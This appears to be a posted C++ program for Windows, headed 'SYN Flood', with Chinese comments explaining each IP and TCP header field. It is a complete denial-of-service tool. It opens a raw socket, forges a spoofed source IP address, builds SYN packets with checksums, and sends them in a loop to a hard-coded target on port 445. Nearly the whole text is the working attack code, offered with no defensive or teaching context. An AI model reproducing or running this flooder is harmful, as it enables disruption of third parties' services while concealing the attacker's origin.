SYN Flood

// syn.h

typedef  struct  _iphdr
... {
        unsigned char h_verlen;            //4位首部长度+4位IP版本号
        unsigned char tos;               //8位服务类型TOS
        unsigned short total_len;      //16位总长度（字节）
        unsigned short ident;            //16位标识
        unsigned short frag_and_flags;  //3位标志位
        unsigned char  ttl;              //8位生存时间 TTL
        unsigned char proto;         //8位协议号(TCP, UDP 或其他)
        unsigned short checksum;        //16位IP首部校验和
        unsigned int sourceIP;            //32位源IP地址
        unsigned int destIP;         //32位目的IP地址

} IP_HEADER;

 
typedef  struct  _tcphdr              // 定义TCP首部
... {
    USHORT th_sport;               //16位源端口
    USHORT th_dport;               //16位目的端口
    unsigned int th_seq;         //32位序列号
    unsigned int th_ack;         //32位确认号
    unsigned char th_lenres;        //4位首部长度/6位保留字
    unsigned char th_flag;            //6位标志位
    USHORT th_win;                 //16位窗口大小
    USHORT th_sum;                 //16位校验和
    USHORT th_urp;                 //16位紧急数据偏移量
} TCP_HEADER;

 

struct   
... {     
        unsigned long saddr;  //源地址
        unsigned long daddr;     //目的地址
        char mbz;                    //置空
        char ptcl;                   //协议类型
        unsigned short tcpl;     //TCP长度

} psd_header;


USHORT checksum(USHORT  * buffer,  int  size)
... { 

        unsigned long cksum=0;

        while(size >1) 
  ...{
            cksum+=*buffer++;
            size -=sizeof(USHORT);
        }

        if(size ) 
   cksum += *(UCHAR*)buffer;

        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);

        return (USHORT)(~cksum);
}

 

 

// syn.cpp

#include  " winsock2.h "
#include  " stdio.h "
#include  " memory.h "
#include  " stdlib.h "
#include  " syn.h "

#pragma comment(lib, " ws2_32 " )
// --------------------------------------------------------------------------------------


#define STATUS_FAILED  0xFFFF     
#define SYN_DEST_IP    " 192.168.0.119 "   // dest 
#define FAKE_IP        " 202.106.127.55 "   // src     fake    :)


int  src_port  =   80 ;
int  dest_port  =   445 ;  
    

USHORT checksum(USHORT  * buffer,  int  size);


int  main( void )
... {
 int datasize;
    int ErrorCode;
 int flag;

 int num = 0;
    
 int TimeOut=2000,SendSEQ=0;         
    char SendBuf[128]=...{0};          
 
    WSADATA  wsaData;
    SOCKET   SockRaw = (SOCKET)NULL;        
    struct   sockaddr_in   DestAddr;       
    IP_HEADER   ip_header;
    TCP_HEADER  tcp_header;

    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)     
   ...{
        fprintf(stderr,"WSAStartup failed: %d ",ErrorCode);
        ExitProcess(STATUS_FAILED);
    }

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
 if (SockRaw==INVALID_SOCKET)
  ...{
        fprintf(stderr,"WSASocket() failed: %d ",WSAGetLastError());
        ExitProcess(STATUS_FAILED);
    }

 flag=TRUE;

 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
 if(ErrorCode==SOCKET_ERROR)  
  printf("Set IP_HDRINCL Error! ");


 __try
 ...{ 
  while(num <10240)
  ...{
   num++;
   if (num ==10239)
   ...{
    num = 0;
    printf(".");
   }
  

  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
  if(ErrorCode==SOCKET_ERROR)
  ...{
            fprintf(stderr,"Failed to set send TimeOut: %d ",WSAGetLastError());
            __leave;
        }

  memset(&DestAddr,0,sizeof(DestAddr));

  
  DestAddr.sin_family=AF_INET;      
  DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); 
  DestAddr.sin_port = htons((u_short)8080);


  //填充IP首部
        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度
        ip_header.tos=0;
                ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度（字节）
        ip_header.ident=1;                                                       //16位标
        ip_header.frag_and_flags=0;                                               //3位标志位
        ip_header.ttl=128;                                                     //8位生存时间TTL
                ip_header.proto=IPPROTO_TCP;              //8位协议(TCP,UDP…)
                ip_header.checksum=0;                                 //16位IP首部校验和
        ip_header.sourceIP = inet_addr(FAKE_IP);         
                ip_header.destIP   = inet_addr(SYN_DEST_IP);     //32位目的IP地址（攻击地址）

  //填充TCP首部
        tcp_header.th_sport=htons(src_port);                                     //源端口号
        tcp_header.th_dport=htons(dest_port);                                     //目的端口号
        tcp_header.th_seq=htonl(SendSEQ+num);                                //SYN序列号
        tcp_header.th_ack=0;                                                 //ACK序列号置为0
                tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                    //TCP长度和保留位
        tcp_header.th_flag=2;                                                //SYN 标志
        tcp_header.th_win=htons(16384);            
                tcp_header.th_urp=0;                                                 //偏移
        tcp_header.th_sum=0;                                                 //校验和

        //填充TCP伪首部
        psd_header.saddr=ip_header.sourceIP;                     
                psd_header.daddr=ip_header.destIP;                     
                psd_header.mbz=0;
                psd_header.ptcl=IPPROTO_TCP;                              
               psd_header.tcpl=htons(sizeof(tcp_header));              

       
              memcpy(SendBuf, &psd_header, sizeof(psd_header));         
              memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header));   
              tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

      
             memcpy(SendBuf, &ip_header, sizeof(ip_header));   
             memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));   
             memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4);    
             ip_header.checksum=checksum((USHORT *)SendBuf, (sizeof(ip_header)+sizeof(tcp_header)));   

 
             memcpy(SendBuf, &ip_header, sizeof(ip_header));
             memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));

            datasize=sizeof(ip_header)+sizeof(tcp_header);  
        //发送TCP报文
        ErrorCode=sendto(SockRaw,SendBuf,datasize, 0, (struct sockaddr*)&DestAddr, sizeof(DestAddr));
  if(ErrorCode==SOCKET_ERROR) 
   printf(" Send Error:%d ",GetLastError());

  }//end of while

 }//End of try


 __finally 
 ...{
  if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
  WSACleanup();
 }

 return 0;
}